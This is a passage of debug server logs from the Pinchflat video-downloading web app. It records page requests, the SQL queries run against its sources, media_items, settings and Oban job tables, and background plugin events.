"media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 18:47:40.983 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 18:47:40.983 [debug] QUERY OK source="media_items" db=0.0ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [4] 18:47:40.983 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 18:47:40.984 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 18:47:40.984 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [4] 18:47:40.985 [debug] QUERY OK source="media_items" db=0.3ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 18:47:40.985 [info] Sent 200 in 7ms 18:47:51.278 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.504 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:48:21.281 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:25.164 [info] GET /sources/5/media/397 18:48:25.164 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "397", "source_id" => "5"} Pipelines: [:browser] 18:48:25.165 [info] GET /sources/5 18:48:25.165 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 18:48:25.166 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=987.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [397] 18:48:25.166 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=247.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:48:25.167 [debug] QUERY OK source="tasks" db=0.4ms idle=247.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [397] 18:48:25.167 [debug] QUERY OK source="media_profiles" db=0.4ms idle=248.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:48:25.168 [debug] QUERY OK source="sources" db=0.4ms queue=0.3ms idle=248.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:48:25.168 [debug] QUERY OK source="tasks" db=0.5ms idle=1.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 18:48:25.168 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [222] 18:48:25.169 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [167] 18:48:25.169 [debug] QUERY OK source="settings" db=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:25.169 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:25.169 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:25.170 [debug] QUERY OK source="settings" db=0.4ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:25.170 [debug] QUERY OK source="settings" db=0.3ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:25.170 [debug] QUERY OK source="settings" db=0.4ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:25.172 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:48:25.172 [debug] QUERY OK source="sources" db=0.5ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:48:25.173 [debug] QUERY OK source="media_items" db=0.3ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 18:48:25.173 [debug] QUERY OK source="media_items" db=0.3ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 18:48:25.175 [info] Sent 200 in 10ms 18:48:25.175 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:48:25.176 [debug] QUERY OK source="media_items" db=0.1ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 18:48:25.176 [debug] QUERY OK source="media_items" db=0.1ms idle=3.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 18:48:25.177 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:48:25.177 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 18:48:25.177 [debug] QUERY OK source="media_items" db=0.3ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 18:48:25.178 [info] Sent 200 in 12ms 18:48:38.848 [info] GET /sources/5/media/201 18:48:38.848 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "201", "source_id" => "5"} Pipelines: [:browser] 18:48:38.849 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1930.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [201] 18:48:38.850 [debug] QUERY OK source="tasks" db=0.2ms idle=1931.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [201] 18:48:38.851 [debug] QUERY OK source="sources" db=0.3ms idle=1931.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:48:38.852 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=1653.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [160, 199, 219] 18:48:38.852 [debug] QUERY OK source="settings" db=0.2ms idle=651.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:38.853 [debug] QUERY OK source="settings" db=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:38.854 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:38.854 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:48:38.855 [info] Sent 200 in 7ms 18:48:51.282 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:58.010 [info] GET /sources/1/media/456 18:48:58.010 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "456", "source_id" => "1"} Pipelines: [:browser] 18:48:58.010 [info] GET /media_profiles 18:48:58.010 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 18:48:58.011 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1091.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [456] 18:48:58.011 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.2ms idle=775.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 18:48:58.011 [debug] QUERY OK source="tasks" db=0.5ms idle=92.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [456] 18:48:58.012 [debug] QUERY OK source="settings" db=0.2ms idle=93.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:58.012 [debug] QUERY OK source="sources" db=0.2ms idle=93.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:48:58.012 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:58.013 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", 